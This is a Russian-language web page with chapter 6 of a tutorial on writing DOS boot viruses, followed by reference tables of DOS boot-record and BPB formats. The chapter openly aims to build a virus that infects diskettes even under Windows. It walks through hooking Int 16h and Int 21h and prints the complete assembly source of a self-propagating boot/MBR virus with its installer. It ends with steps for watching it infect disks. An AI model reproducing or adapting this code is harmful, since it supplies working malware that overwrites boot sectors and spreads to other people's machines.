www.adept7.kiev.ua
| Форум| Гостевая| Ссылки| Программы| Исходные тексты| Наши партнеры.|
   
| Главная| Рассылки| Услуги| Библиотека| Новости| Авторам| Программистам| Студентам|
delphi c++ assembler
 

 

             ГЛАВА 6 . ЕЩЕ ОДИН BOOT - ВИРУС

 

 

             6.1 Краткие итоги предыдущей главы

 

    Итак, продолжим. Наша цель - написать  загрузочный

    вирус,который смог бы заражать дискеты даже из под

    WINDOWS. Хотя сделать это очень непросто.

    Если  вы испытывали вирус из  предыдущей главы  на

    своем компьютере ( не бойтесь, ничего не исрортит-

    ся ), то могли обнаружить интересный эффект. Пусть

    при загрузке машины сначала загружается VC.COM или

    NC.EXE, а в WINDOWS вы  переходите,нажав " F10 " и

    выйдя из оболочки. Очень часто так это  и бывает -

    перечисленные  оболочки  настолько удачны, что от-

    казаться  от них почти  невозможно, даже в  пользу

    очень неплохого FARа.Так вот,при работе в оболочке

    вирус  отлично  заражает  дискеты. Теперь  нажмите

    " F10 " и  перейдите в  WINDOWS. А теперь из - под

    WINDOWS снова запустите VC. Как это ни странно,наш

    вирус перестал работать. Он не заражает дискеты, а

    просто  сидит в памяти. Снова вызвать  его к жизни

    можно, лишь перезагрузив компьютер. Даже обидно.Но

    настоящие " вирусмейкеры " так просто  не сдаются.

    Поэтому, утопив  эту  небольшую неудачу в  большом

    количестве водки,примемся за дело.

 

 

           6.2 Объясняем полученные результаты

 

    С целью найти причины описанного явления я  провел

    не один десяток экспериментов, и  наконец, получил

    некоторые результаты.Как вы помните, наш вирус си-

    дит на Int 13h. Таким образом, он получит управле-

    ние только при вызове этого прерывания. Оказалось,

    что при записи или чтении дискет при работе в WIN-

    DOWS Int 13h  вообще  не вызывается. Вместо  этого

    операционная  система обращается к диску  " мимо "

    прерывания, взаимодействуя непосредственно с  кон-

    троллером гибких дисков.Поэтому наш вирус и не за-

    ражает дискеты.

    ***

       Следует заметить, что при работе с жестким дис-

       ком WINDOWS все же вызывает Int 13h, что следу-

       ет из проведенных автором экспериментов.

    ***

    Таким образом, с помощью старых методов эту задачу

    решить, скорее всего, не удастся. Необходим совер-

    шенно новый подход. Но об этом - в следующем пунк-

    те.

 

 

       6.3 Разрабатываем новый алгоритм активизации

 

    Легче всего сказать, что подход должен быть новым.

    Труднее предложить что - то по существу. Были при-

    думаны несколько методик, но все они не дали поло-

    жительного результата.И тут автор неожиданно полу-

    чил очень своеобразное предложение- вместо Int 13h

    использовать для активизации вируса Int 21h. В са-

    мом деле, почему бы  нам не перехватить Int 21h, и

    не попробовать проследить за сменой текущего диска

    (функция 0Eh). И как только активным станет диско-

    вод " A " или " B ", заразить диск в этом дисково-

    де!!! Просто и со вкусом ( идея Danny Dio, за  что

    ему - благодарность ). А мы продолжаем.

 

 

           6.4 О перехвате Int 21h программой,

            загружаемой из Master Boot Record

 

    Дело  за малым - осталось  перехватить  Int 21h, и

    задача решена. Но  выяснилось, что это не так про-

    сто. Естественно было бы поступить так :

 

     1. Первым  делом  установить  вектор  Int 1Ch или

        Int 08h ( оба - таймер ) на собственный  обра-

        ботчик.

     2. Этот обработчик следит за  вектором Int 21h, и

        как только последний изменяется  -  перехваты-

        вает Int 21h.

     3. Далее  обработчик Int 1Ch (Int 08h) " обезвре-

        живает "  себя  в  памяти, например,  командой

        "IRET", чтобы машина не зависала.

 

    Так и было сделано, после чего началось самое  ин-

    тересное. Обработчик Int 21h  исправно  выполнялся

    несколько секунд,после чего его  бессовестно топи-

    ли - то ли  MSDOS.SYS, то ли  COMMAND.COM - не ва-

    жно. Чтобы избавиться от этого  эффекта, я  приду-

    мал кучу способов - например,  ждал не первого из-

    менения  вектора  Int 21h, а, например,  третьего,

    десятого и т.п. Как ни странно, ничего не  получа-

    лось. Единственным методом был бы такой:

 

     1. Отловить момент, когда OC уже загружена и  на-

        чинают выполняться программы, записанные,  на-

        пример, в AUTOEXEC.BAT.

     2. Перехватить Int 21h.

 

    Проблема  здесь в  следующем:  совершенно  неясно,

    как именно засечь этот замечательный момент. Кроме

    того,такой метод тоже не дает стопроцентной гаран-

    тии. Поэтому идею пришлось отклонить, а вместо нее

    предложить алгоритм,который обсуждается в  следую-

    щем пункте.

 

 

             6.5 О применении вектора Int 16h

 

    Как вы, наверное, знаете, прерывание Int  16h  яв-

    ляется  программным  и вызывается, например,  сис-

    темным обработчиком Int 09h ( клавиатура ), а так-

    же может  вызываться из программы  для  выполнения

    некоторых действий,например, чтения символа с кла-

    виатуры, получения ее флагов и т.п. При  этом  оно

    обладает одним замечательным свойством, а именно -

    пользовательский обработчик Int 16h не утапливает-

    ся WINDOWS при загрузке,и вызывается даже в WORDе,

    EXCELе и FARе. Так, в проведенном автором экспери-

    менте, при нажатии двух SHIFTов загрузочный сектор

    дискеты считывался и  тут же записывался на место.

    Опытная программа загружалась из MBR  и работала в

    любых  WINDOWS - приложениях. Этот факт решено бы-

    ло  использовать для  построения " непотопляемой "

    процедуры обработки Int 21h. Итак, предлагаю такой

    алгоритм:

 

      1. Установить  вектор Int 16h на вирусный  обра-

         ботчик.

      2. Этот  обработчик постоянно вызывает  вирусную

         процедуру Int 21h какой - нибудь экзотической

         собственной  функцией, типа AX = 0BABCh.

      3. Если вирусная процедура обработки Int 21h ак-

         тивна, она должна " ответить " на этот  вызов

         ( пусть это будет AL = 98h ).

         Если ответа нет, обработчик Int 21h не  уста-

         новлен или утоплен, поэтому  Int 21h  следует

         перехватить.

 

    Не  совсем просто, но  тоже  со вкусом.Сами проце-

    дуры обработки Int 16h и Int 21h могут быть,напри-

    мер, такими:

 

    ***

       Текст обработчика Int 16h:

 

    new_16h:   push ax                ;Сохраним

               push bx                ;регистры

               push dx               

               push ds                ;стеке

               push es                ;

               pushf                  ;

                                      ;

               mov ax,0babch          ;Вызовем вирусный

               int 21h                ;обработчик

               cmp al,98h             ;Int 21h собст-

               je cs:rrr_rrr          ;венной функцией

                                      ;AX = 0babch.Если

                                      ;обработчик акти-

                                      ;вен, мы должны

                                      ;получить AL=98h,

                                      ;иначе Int 21h

                                      ;следует перехва-

                                      ;тить, чем мы и

                                      ;займемся:

               push cs                ;DS = CS

               pop ds                 ;

                                      ;

               cli                    ;Запретить преры-

                                      ;вания

               mov ax,3521h           ;Получим и сохра-

               int 21h                ;ним вектор

               mov old_21h - 100h,bx  ;Int 21h

               mov old_21h_2 - 100h,es;

                                      ;

               mov ax,2521h           ;А теперь пере-

               mov dx,to_new_21h      ;ставим этот век-

               int 21h                ;тор на вирусный

                                      ;обработчик

               sti                    ;Разрешить преры-

                                      ;вания

    rrr_rrr:   popf                   ;Восстановим

               pop es                 ;из

               pop ds                 ;стека

               pop dx                 ;регистры

               pop bx                 ;

               pop ax                 ;

                                      ;

               db 0eah                ;И перейдем на

    old_16h    dw 0                   ;системный обра-

    old_16h_2  dw 0                   ;ботчик Int 16h

 

    ***

       Текст обработчика Int 21h (он отслеживает смену

       оператором текущего диска.Если текущим станови-

       тся  диск "A" или "B", обработчик заражает этот

       диск):

 

    new_21h:   pushf                  ;Этот участок

               cmp ax,0babch          ;обработчика

               jne cs:else_func       ;Int 21h отвечает

               mov al,98h             ;обработчику

               popf                   ;Int 16h значени-

               iret                   ;ем AL = 98h; это

                                      ;служит признаком

                                      ;активности виру-

                                      ;сной процедуры

                                      ;обработки

                                      ;Int 21h

                                      ;

    else_func: popf                   ;Сохраним

               push ax                ;регистры

               push bx               

               push cx                ;стеке

               push dx                ;

               push di                ;

               push ds                ;

               push es                ;

               pushf                  ;

                                      ;

               cmp ah,0eh             ;Смена текущего

                                      ;диска ?

               jne cs:restore_regs    ;Нет - на выход

               cmp dl,1               ;Да - текущим

                                      ;хотят сделать

                                      ;" A " или " B "

                                      ;дисковод ?

               ja cs:restore_regs     ;Нет - на выход

                                      ;Иначе - продол-

                                      ;жим :

    ;Далее следует " заразная " часть процедуры  обра-

    ;ботки Int 21h :

 

    ;   ...

    ;   ...

    ;   ...

    ;   ...

    ;   ...

 

    restore_regs:                     ;Восстановим из

               popf                   ;стека регистры

               pop es                 ;

               pop ds                 ;

               pop di                 ;

               pop dx                 ;

               pop cx                 ;

               pop bx                 ;

               pop ax                 ;

                                      ;

               db 0eah                ;И перейдем на

    old_21h    dw 0                   ;системный обра-

    old_21h_2  dw 0                   ;ботчик Int 21h

 

    Вроде бы, все должно быть ясно.Причина, по которой

    от  относительных адресов ячеек памяти  отнимается

    100h, описана в части 1, главе 2, пункте 2.5.

 

    ***

      Кстати,использовать в данном случае Int 09h вме-

      сто Int 16h нельзя. Дело в том, что при загрузке

      WINDOWS топит все пользовательские программы,ко-

      торые " зацеплены " за этот вектор. Топится даже

      великий и могучий KEYRUS.COM,не говоря уже о на-

      ших вирусах.

 

 

              6.6 Общий алгоритм работы вируса

 

    Теперь настало время создать алгоритм работы наше-

    го вируса, чем мы и займемся.

    Как и прежде, попав при начальной  загрузке машины

    в память по адресу 0000:7C00h, вирус должен выпол-

    нить такие действия:

 

    1. Установить регистры SS и SP на собственный стек

    2. " Отрезать " у системы несколько килобайтов па-

       мяти ( вы уже догадываетесь, что " несколько "-

       это два? ).

    3. Переписать свой код в полученную область памяти

    4. Передать управление следующей секции своего ко-

       да, уже расположенной в конце основной памяти.

 

    Эта секция, в свою очередь, должна :

 

    1. Переопределить вектор прерывания Int 16h на ви-

       русный код.

    2. Считать настоящий  загрузочный сектор в  память

       по адресу 0000:7C00h.

    3. Проверить, заражен - ли винчестер. Если нет, то

       заразить его MBR.

    4. Передать управление настоящему загрузочному се-

       ктору, находящемуся по адресу 0000:7C00h.

 

    Далее выполняется загрузка операционной системы.

    Вирусный обработчик Int 16h,как было сказано выше,

    следит за состоянием обработчика Int 21h, и  пере-

    хватывает это прерывание,если по какой - либо при-

    чине вирусная процедура обработки Int 21h не акти-

    вна. Алгоритм  его работы подробно описан в  пред-

    ыдущем пункте.

    Как вы уже знаете," заразные " функции мы возложим

    на обработчик  прерывания Int 21h. О том, как  это

    будет реализовано, тоже было рассказано выше.

 

 

             6.7 Полный текст созданного вируса

 

    Как ни жалко,но остается только одно - " слепить "

    все части нашей заразной разработки в одно целое и

    привести полученный результат:

 

    ; _______________________________________________

    ;|                                               |

    ;| The next BOOT & MBR virus                     |

    ;| Especially for my readers !                   |

    ;|_______________________________________________|

 

    prg segment

         assume cs:prg,ds:prg,es:prg,ss:prg

               org 100h

 

    my_prg:    jmp installer          ;Переход на сек-

                                      ;цию инсталляции

               dw 7bfeh               ;Установка соб-

                                      ;ственного стека

                                      ;

               push cs                ;DS = CS

               pop ds                 ;

                                      ;

    sub word ptr ds:[0413h],2         ;"Отрежем" у DOS

               mov ax,ds:[0413h]      ;два килобайта

               mov cl,6               ;памяти и вычис-

                                      ;лим

               sal ax,cl              ;сегментный ад-

                                      ;рес,по которому

                                      ;находится полу-

                                      ;ченный блок

               mov es,ax              ;Поместим адрес

                                      ;в ES

               xor si,si              ;И скопируем код

               mov cx,prg_lenght      ;вируса длиной

    prg_copy:  db 8ah                 ;"prg_lenght" в

               db 9ch                 ;память по адре-

    additor    db 00h                 ;су ES : 0000h

               db 7ch                 ;Сам код при за-

               mov byte ptr es:[si],bl;грузке помещае-

               inc si                 ;тся BIOS по ад-

               loop cs:prg_copy       ;ресу 0000:7C00h

                                      ;

               push ax                ;Запишем в стек

               mov ax,to_read_boot    ;адрес ES:to_re-

               push ax                ;ad_boot и осу-

               db 0cbh                ;ществим переход

                                      ;на этот адрес

    to_read_boot   equ   $ - my_prg   ;

                                      ;

    read_boot: push cs                ;DS = CS

               pop ds                 ;

                                      ;

               xor si,si              ;SI = 0

               mov es,si              ;ES = SI

                                      ;

    ;*************************************************

    mov bx,word ptr es:[58h]          ;Получим вектор

    mov word ptr old_16h - 100h,bx    ;Int 16h и

    mov bx,word ptr es:[5ah]          ;сохраним

    mov word ptr old_16h_2 - 100h,bx  ;его

                                      ;

    mov word ptr es:[58h],to_new_16h  ;Установим

    mov word ptr es:[5ah],cs          ;вектор Int 16h

                                      ;на вирусный об-

                                      ;работчик

                                      ;

               mov dx,num_head - 100h ;Считаем настоя-

               mov cx,cyl_sect - 100h ;щий загрузочный

               mov bx,7c00h           ;сектор в память

               mov ax,0201h           ;по адресу

               int 13h                ;0000:7C00h

                                      ;

               push cs                ;ES = CS

               pop es                 ;

                                      ;

               mov dl,80h             ;Считаем MBR

               call cs:read_mbr       ;винчестера

               jc cs:to_quit          ;по адресу

                                      ;CS:0400h, при-

                                      ;чем загрузка

                                      ;сейчас может

                                      ;производиться

                                      ;и с дискеты !

    cmp byte ptr ds:[400h],0eh        ;MBR уже зара-

               je cs:to_quit          ;жена ? Да - на

                                      ;выход, иначе -

                                      ;продолжим :

               mov dx,0080h           ;Нулевая головка

                                      ;первого жестко-

                                      ;го диска

               mov cx,000ch           ;Сектор 12,

                                      ;дорожка 0.

                                      ;Сохраним эти

                                      ;параметры .

               call cs:write_mbr_last ;Кроме того,

                                      ;перепишем нас-

                                      ;тоящую MBR в

                                      ;сектор 12

               jc cs:to_quit          ;нулевой дорожки

                                      ;на нулевой сто-

                                      ;роне HDD 1.

               xor si,si              ;Сформируем код

               mov additor - 100h,00h ;для записи его

               mov cx,prg_lenght      ;

    copy_vir_mbr:                     ;на место исход-

               mov al,byte ptr ds:[si];ной MBR

    mov byte ptr ds:[si + 400h],al    ;

               inc si                 ;

               loop cs:copy_vir_mbr   ;

                                      ;

               mov dx,0080h           ;Запишем этот

               call cs:write_mbr      ;код в первый

                                      ;сектор нулевой

                                      ;дорожки нулевой

                                      ;стороны винчес-

                                      ;тера

                                      ;

    to_quit:   db   0eah              ;Отдадим упра-

               dw   7c00h             ;вление настоя-

               dw   0000h             ;щей загрузочной

                                      ;записи ( MBR )

                                      ;

    ;*************************************************

    ;

    ;Здесь начинается вирусный обработчик Int 16h. Наш

    ;вирус использует его, чтобы следить за состоянием

    ;вирусного обработчика Int 21h и при необходимости

    ;перехватывать Int 21h.

 

    to_new_16h equ   $ - my_prg       ;

                                      ;

    new_16h:   push ax                ;Сохраним

               push bx                ;регистры

               push dx               

               push ds                ;стеке

               push es                ;

               pushf                  ;

                                      ;

               mov ax,0babch          ;Вызовем вирус-

               int 21h                ;ный обработчик

               cmp al,98h             ;Int 21h собст-

               je cs:rrr_rrr          ;венной функцией

                                      ;AX = 0babch.Ес-

                                      ;ли обработчик

                                      ;активен,мы дол-

                                      ;жны получить

                                      ;AL=98h, иначе

                                      ;Int 21h следует

                                      ;перехватить,чем

                                      ;мы и займемся:

               push cs                ;DS = CS

               pop ds                 ;

                                      ;

               cli                    ;Запретить пре-

                                      ;рывания

               mov ax,3521h           ;Получим и со-

               int 21h                ;храним вектор

               mov old_21h - 100h,bx  ;Int 21h

               mov old_21h_2 - 100h,es;

                                      ;

               mov ax,2521h           ;А теперь пере-

               mov dx,to_new_21h      ;ставим этот ве-

               int 21h                ;ктор на вирус-

                                      ;ный обработчик

               sti                    ;Разрешить пре-

                                      ;рывания

    rrr_rrr:   popf                   ;Восстановим

               pop es                 ;из

               pop ds                 ;стека

               pop dx                 ;регистры

               pop bx                 ;

               pop ax                 ;

                                      ;

               db 0eah                ;И перейдем на

    old_16h    dw 0                   ;системный обра-

    old_16h_2  dw 0                   ;ботчик Int 16h

    ;-------------------------------------------------

    ;

    ;Здесь начинается вирусный обработчик Int 21h. Он

    ;отслеживает смену оператором текущего диска. Если

    ;текущим становится диск " A " или " B ", обработ-

    ;чик заражает этот диск

 

    to_new_21h equ   $ - my_prg

 

    new_21h:   pushf                  ;Этот участок

               cmp ax,0babch          ;обработчика

               jne cs:else_func       ;Int 21h отвеча-

               mov al,98h             ;ет обработчику

               popf                   ;Int 16h значе-

               iret                   ;нием AL = 98h;

                                      ;это служит при-

                                      ;знаком активно-

                                      ;сти обработчика

                                      ;Int 21h

                                      ;

    else_func: popf                   ;Сохраним

               push ax                ;регистры

               push bx               

               push cx                ;стеке

               push dx                ;

               push di                ;

               push ds                ;

               push es                ;

               pushf                  ;

                                      ;

               cmp ah,0eh             ;Смена текущего

                                      ;диска ?

               jne cs:to_jump         ;Нет - на выход

               cmp dl,1               ;Да - текущим

                                      ;хотят сделать

                                      ;" A " или " B "

                                      ;дисковод ?

               ja cs:to_jump          ;Нет - на выход

                                      ;Иначе - продол-

                                      ;жим :

               push cs                ;ES = CS

               pop es                 ;

                                      ;

               push cs                ;DS = CS

               pop ds                 ;

                                      ;

               mov cx,3               ;Попробуем про-

    next_read: push cx                ;честь BOOT -

                                      ;сектор дискеты.

               call cs:read_mbr       ;На это даем три

               pop cx                 ;попытки (напри-

               jnc cs:inf_check       ;мер,если двига-

                                      ;тель дисковода

                                      ;не успел разо-

                                      ;гнаться до ра-

                                      ;бочей скорости,

                                      ;то BIOS вернет

                                      ;ошибку -дискета

                                      ;сменена ! )

               xor ah,ah              ;При ошибке -

               int 13h                ;дисковод

               jc cs:to_jump          ;и повторим

               loop cs:next_read      ;чтение

    to_jump:   jmp cs:restore_regs    ;

                                      ;

                                      ;BOOT заражен ?

    inf_check: cmp byte ptr ds:[455h],0eh

               je cs:to_jump          ;Да !

    cmp word ptr ds:[40bh],200h       ;512 байт в

                                      ;секторе ?

               jne cs:restore_regs    ;Нет - на выход

                                      ;

               mov ch,79              ;Определим

               mov dh,byte ptr ds:[415h]

               cmp dh,0f0h            ;параметры

               je cs:real_80          ;дискеты

               cmp dh,0f9h            ;по ее

               je cs:real_80          ;Media

               cmp dh,0fdh            ;Descryptor

               jne cs:to_jump         ;

               mov ch,39              ;

    real_80:   mov dh,01h             ;

               mov cl,byte ptr ds:[418h]

                                      ;Перепишем нас-

                                      ;тоящий BOOT в

                                      ;последний сек-

                                      ;тор последней

                                      ;дорожки на пос-

                                      ;ледней стороне

               call cs:write_mbr_last ;

               jc cs:to_jump          ;

                                      ;

               mov additor - 100h,055h;Сформируем код,

               xor di,di              ;который нужно

               mov cx,prg_lenght      ;записать на

    copy_vir:  mov al,byte ptr ds:[di];дискету вместо

    mov byte ptr ds:[di + 455h],al    ;исходной BOOT -

               inc di                 ;записи

               loop cs:copy_vir       ;

    mov word ptr ds:[400h],053ebh     ;

                                      ;

               xor dh,dh              ;И запишем его

               call cs:write_mbr      ;в первый

                                      ;сектор нулевой

                                      ;дорожки нулевой

                                      ;стороны дискеты

                                      ;

    restore_regs:                     ;Восстановим из

               popf                   ;стека регистры

               pop es                 ;

               pop ds                 ;

               pop di                 ;

               pop dx                 ;

               pop cx                 ;

               pop bx                 ;

               pop ax                 ;

                                      ;

               db 0eah                ;И перейдем на

    old_21h    dw 0                   ;системный обра-

    old_21h_2  dw 0                   ;ботчик Int 21h

 

    read_mbr   proc                   ;

               xor dh,dh              ;

               mov ax,0201h           ;Процедура

               mov bx,400h            ;читает первый

               mov cx,01h             ;сектор нулевой

               int 13h                ;дорожки нулевой

                                      ;стороны указан-

               ret                    ;ного накопителя

    read_mbr   endp                   ;

                                      ;

    write_mbr  proc                   ;

               mov ax,0301h           ;Процедура

               mov cx,01h             ;помещает вирус-

               int 13h                ;ный код в BOOT-

                                      ;сектор дискеты

               ret                    ;или записывает

    write_mbr  endp                   ;его вместо MBR

                                      ;винчестера

                                      ;

    write_mbr_last proc               ;Процедура

                                      ;переписывает

                                      ;исходную BOOT-

                                      ;запись или MBR

                                      ;в заданный

                                      ;сектор зара-

                                      ;жаемого диска

               push dx                ;Если заражается

               cmp dl,01h             ;диск в дисково-

               jne cs:not_correct     ;де "B", следует

               xor dl,dl              ;обнулить номер

    not_correct:                      ;накопителя в

               mov num_head - 100h,dx ;ячейке

               pop dx                 ;"num_head",ина-

               mov cyl_sect - 100h,cx ;че машина не

                                      ;будет загружа-

                                      ;ться с такого

                                      ;диска.

               mov ax,0301h           ;Остальное,каже-

               int 13h                ;тся, ясно.

               ret                    ;

    write_mbr_last endp               ;

                                      ;

    vir_name   db   ''                ;Придумайте са-

                                      ;ми, но не более

                                      ;девяти байт !

    num_head   dw   0                 ;Здесь вирус

    cyl_sect   dw   0                 ;хранит номер

                                      ;головки,дорожки

                                      ;и сектора , в

                                      ;которых запи-

                                      ;сана настоящая

                                      ;загрузочная

                                      ;запись

                                      ;зараженного

                                      ;диска

 

               prg_lenght   equ   $ - my_prg

 

    ;-------------------------------------------------

    ;

    ;Здесь начинается секция инсталляции вируса

 

    installer: lea si,my_prg          ;Подменим коман-

               mov byte ptr [si],00eh ;ду перехода на

    mov byte ptr [si + 1],017h        ;первые три бай-

    mov byte ptr [si + 2],0bch        ;та кода вируса

                                      ;Начало вируса

                                      ;будет иметь

                                      ;вид : PUSH CS

                                      ;      POP  SS

                                      ;MOV SP,7BFEh.

                                      ;Теперь

               mov ax,0201h           ;попробуем про-

               mov cx,01h             ;честь BOOT -

               xor dx,dx              ;сектор дискеты.

               lea bx,bufer           ;

               int 13h                ;

               jc error               ;

                                      ;

               push es                ;Получим пара-

               mov ah,08h             ;метры дискеты

               xor dl,dl              ;

               int 13h                ;

               jnc all_good           ;

               cmp ah,01h             ;

               jne error              ;

               mov dh,01h             ;

               mov ch,27h             ;

    mov cl,byte ptr bufer [18h]       ;

    all_good:  xor dl,dl              ;

               mov num_head,dx        ;

               mov cyl_sect,cx        ;

               pop es                 ;

                                      ;

               mov ax,0301h           ;Перепишем нас-

               lea bx,bufer           ;тоящий BOOT в

               int 13h                ;последний сек-

               jc error               ;тор последней

                                      ;дорожки на пос-

                                      ;ледней стороне

                                      ;

               mov additor,055h       ;Сформируем код,

               lea si,bufer + 55h     ;который нужно

               lea di,my_prg          ;записать на

               mov cx,prg_lenght      ;дискету вместо

    copy_boot: mov al,byte ptr [di]   ;исходной BOOT -

               mov byte ptr [si],al   ;записи

               inc si                 ;

               inc di                 ;

               loop copy_boot         ;

    mov word ptr bufer[0],053ebh      ;

                                      ;

               mov ax,0301h           ;И запишем его

               mov cx,01h             ;в первый

               mov dx,0               ;сектор нулевой

               lea bx,bufer           ;дорожки нулевой

               int 13h                ;стороны дискеты

               jnc prg_end            ;

                                      ;

    error:     mov ah,09h             ;Если была оши-

               lea dx,err_mes         ;бка - выведем

               int 21h                ;сообщение о ней

                                      ;

    prg_end:   mov ax,4c00h           ;Завершаем за-

               int 21h                ;пускающую про-

                                      ;грамму

    err_mes    db   'Error !$'        ;Сообщение

    bufer      db   512 dup ( 0 )     ;В этот буфер

                                      ;считывается

                                      ;BOOT - сектор

                                      ;заражаемой

                                      ;дискеты

    prg ends                          ;Стандартное

    end my_prg                        ;окончание ASM-

                                      ;программы ...

 

    Как  видите, вирус является  некоторой " помесью "

    программы  из предыдущей главы с принципиально но-

    выми фрагментами из главы, которую вы сейчас чита-

    ете. Поэтому я  не считаю нужным  заново объяснять

    идеи,заложенные в предыдущую версию программы. Же-

    лающие получить  такие объяснения могут  вернуться

    к предыдущей главе. Заметьте, нам опять  повезло -

    вирус  целиком поместился в  один сектор, осталось

    даже 9 свободных байт.

 

 

                   6.8 Испытание вируса

 

    С методикой  испытания загрузочного вируса вы  уже

    знакомы. Поэтому  можно сразу переходить к  самому

    приятному этапу в творчестве любого создателя  ви-

    русов. Модель примерно такая: из - под WINDOWS за-

    пустите VC, NC, Turbo Pascal или что - нибудь  по-

    хожее. После чего попробуйте несколько раз устано-

    вить текущим один из дисководов. Понаблюдайте, как

    вирус заражает дискеты и при каких условиях. Зара-

    жение должно происходить обязательно.Наша предыду-

    щая программа такими возможностями явно не облада-

    ла.

    Теперь выйдите из оболочки обратно в WINDOWS и за-

    пустите, например, FAR. Вы увидите, что в FARе наш

    вирус не  активизируется. Не активизируется он и в

    WORDе и EXCELе. Объясняется  это просто: Эти  про-

    граммы являются 32 - х разрядными WINDOWS - прило-

    жениями,и поэтому не могут вызывать DOSовские пре-

    рывания ! Вместо этого  для смены диска, например,

    вызывается SetCurrentDisk. Об этом мне поведал Eu-

    gene Roshal, разработчик FARа.Хотя то, чего мы до-

    бились- уже большой шаг вперед по сравнению с про-

    шлой разработкой.

 

 

                  6.9 Вместо комментария

 

    Наверное, следовало бы наметить пути совершенство-

    вания нашей разработки. Первое, что приходит на ум

    - тем или  иным способом  перехватить тот  момент,

    когда  система  вызывает  SetCurrentDisk, если это

    вообще возможно.Как это сделать - пока неясно, так

    что вопрос  остается открытым.

    Определенные надежды вселяет описанная выше возмо-

    жность использовать для активизации вируса  преры-

    вание Int 16h. В самом деле, почему бы не заражать

    диски, например,при каждом десятом нажатии на кла-

    вишу " ALT ", " SHIFT " и т.п. ? Правда,этот метод

    имеет и свои недостатки,которые делают его похожим

    на обычное ламерство. Зато его очень просто реали-

    зовать, и работать он будет в любом WINDOWS - при-

    ложении ...

    Единственное, чего  делать точно  не следует - это

    огорчаться по  поводу не совсем достигнутой  цели.

    Думаю,это дело недалекого будущего. Как сказал Мао

    Цзедун, " Наш  путь труден, но перспективы - свет-

    лые ! ".

 

ПРИЛОЖЕНИЕ 2

 

           Формат загрузочной записи для MS DOS

                    различных версий

 

    Формат BOOT - записи для версий MS DOS до 4.0

 

     ________________________________________________

    |Смещение |Размер |  Содержимое                  |

    | ( HEX ) |( DEC )|                              |

    |---------|-------|------------------------------|

    |00h      |03     |Команда EB xx 90 перехода на  |

    |         |       |программу начальной загрузки  |

    |---------|-------|------------------------------|

    |03h      |08     |Название фирмы - производителя|

    |         |       |и номер операционной системы  |

    |---------|-------|------------------------------|

    |0Bh      |13     |Блок параметров BIOS ( BPB )  |

    |---------|-------|------------------------------|

    |18h      |02     |Количество секторов на дорожке|

    |---------|-------|------------------------------|

    |1Ah      |02     |Количество поверхностей диска |

    |---------|-------|------------------------------|

    |1Ch      |02     |Количество скрытых секторов,  |

    |         |       |которые иногда используются   |

    |         |       |для разбиения диска на разделы|

    |---------|-------|------------------------------|

    |1Eh      |480    |Программа начальной загрузки, |

    |         |       |называемая загрузочной записью|

    |         |       |(Boot Record).                |

    |---------|-------|------------------------------|

    |1FEh     |02     |Код : 55 AA                   |

    |_________|_______|______________________________|

 

    Формат BOOT - записи для версии MS DOS 4.0

 

     ________________________________________________

    |Смещение |Размер |  Содержимое                  |

    | ( HEX ) |( DEC )|                              |

    |---------|-------|------------------------------|

    |00h      |03     |Команда EB xx 90 перехода на  |

    |         |       |программу начальной загрузки  |

    |---------|-------|------------------------------|

    |03h      |08     |Название фирмы - производителя|

    |         |       |и номер операционной системы  |

    |---------|-------|------------------------------|

    |0Bh      |25     |Расширенный блок параметров   |

    |         |       |BIOS ( EBPB )                 |

    |---------|-------|------------------------------|

    |24h      |01     |Физический номер дисковода    |

    |         |       |( 00h - для дискетного диско- |

    |         |       |вода, 80h - для винчестера )  |

    |---------|-------|------------------------------|

    |25h      |01     |Зарезервировано               |

    |---------|-------|------------------------------|

    |26h      |01     |Символ " ) " - признак расши- |

    |         |       |ренной загрузочной записи     |

    |         |       |MS DOS 4.0                    |

    |_________|_______|______________________________|

    |27h      |04     |Серийный номер диска,создается|

    |         |       |во время его форматирования   |

    |---------|-------|------------------------------|

    |2Bh      |11     |Метка ( Volume Label ) диска, |

    |         |       |задается во время его форма-  |

    |         |       |тирования                     |

    |---------|-------|------------------------------|

    |36h      |08     |Обычно содержит запись типа   |

    |         |       |" FAT 12 " или аналогичную    |

    |_________|_______|______________________________|

    |3Eh      |448    |Программа начальной загрузки, |

    |         |       |называемая загрузочной записью|

    |         |       |(Boot Record).                |

    |---------|-------|------------------------------|

    |1FEh     |02     |Код : 55 AA                   |

    |_________|_______|______________________________|

 

 

    Формат Master Boot Record ( MBR ) - главной

    загрузочной записи жесткого диска

 

     ________________________________________________

    |Смещение |Размер |  Содержимое                  |

    | ( HEX ) |( DEC )|                              |

    |---------|-------|------------------------------|

    |00h      |446    |Программа, называемая         |

    |         |       |главной загрузочной записью   |

    |         |       |(MBR, или Master Boot Record).|

    |---------|-------|------------------------------|

    |1BEh     |16     |Элемент таблицы разделов диска|

    |---------|-------|------------------------------|

    |1CEh     |16     |Элемент таблицы разделов диска|

    |---------|-------|------------------------------|

    |1DEh     |16     |Элемент таблицы разделов диска|

    |---------|-------|------------------------------|

    |1EEh     |16     |Элемент таблицы разделов диска|

    |---------|-------|------------------------------|

    |1FEh     |02     |Код : 55 AA                   |

    |_________|_______|______________________________|

 

 

    Формат BPB для версий MS DOS до 4.0

 

     ________________________________________________

    |Смещение |Размер |  Содержимое                  |

    | ( HEX ) |( DEC )|                              |

    |---------|-------|------------------------------|

    |00h      |02     |Количество байтов             |

    |         |       |в одном секторе диска         |

    |---------|-------|------------------------------|

    |02h      |01     |Количество секторов           |

    |         |       |в одном кластере              |

    |---------|-------|------------------------------|

    |03h      |02     |Количество зарезервированных  |

    |         |       |секторов                      |

    |---------|-------|------------------------------|

    |05h      |01     |Количество копий FAT          |

    |---------|-------|------------------------------|

    |06h      |02     |Максимальное количество дес-  |

    |         |       |крипторов файлов, содержащихся|

    |         |       |в корневом каталоге диска     |

    |---------|-------|------------------------------|

    |08h      |02     |Общее количество секторов на  |

    |         |       |носителе данных в разделе DOS |

    |_________|_______|______________________________|

    |0Ah      |01     |Байт - описатель среды носи-  |

    |         |       |теля данных                   |

    |---------|-------|------------------------------|

    |0Bh      |02     |Количество секторов,занимаемых|

    |         |       |одной копией FAT              |

    |_________|_______|______________________________|

 

 

    Формат EBPB

 

     ________________________________________________

    |Смещение |Размер |  Содержимое                  |

    | ( HEX ) |( DEC )|                              |

    |---------|-------|------------------------------|

    |00h      |02     |Количество байтов             |

    |         |       |в одном секторе диска         |

    |---------|-------|------------------------------|

    |02h      |01     |Количество секторов           |

    |         |       |в одном кластере              |

    |---------|-------|------------------------------|

    |03h      |02     |Количество зарезервированных  |

    |         |       |секторов                      |

    |---------|-------|------------------------------|

    |05h      |01     |Количество копий FAT          |

    |---------|-------|------------------------------|

    |06h      |02     |Максимальное количество дес-  |
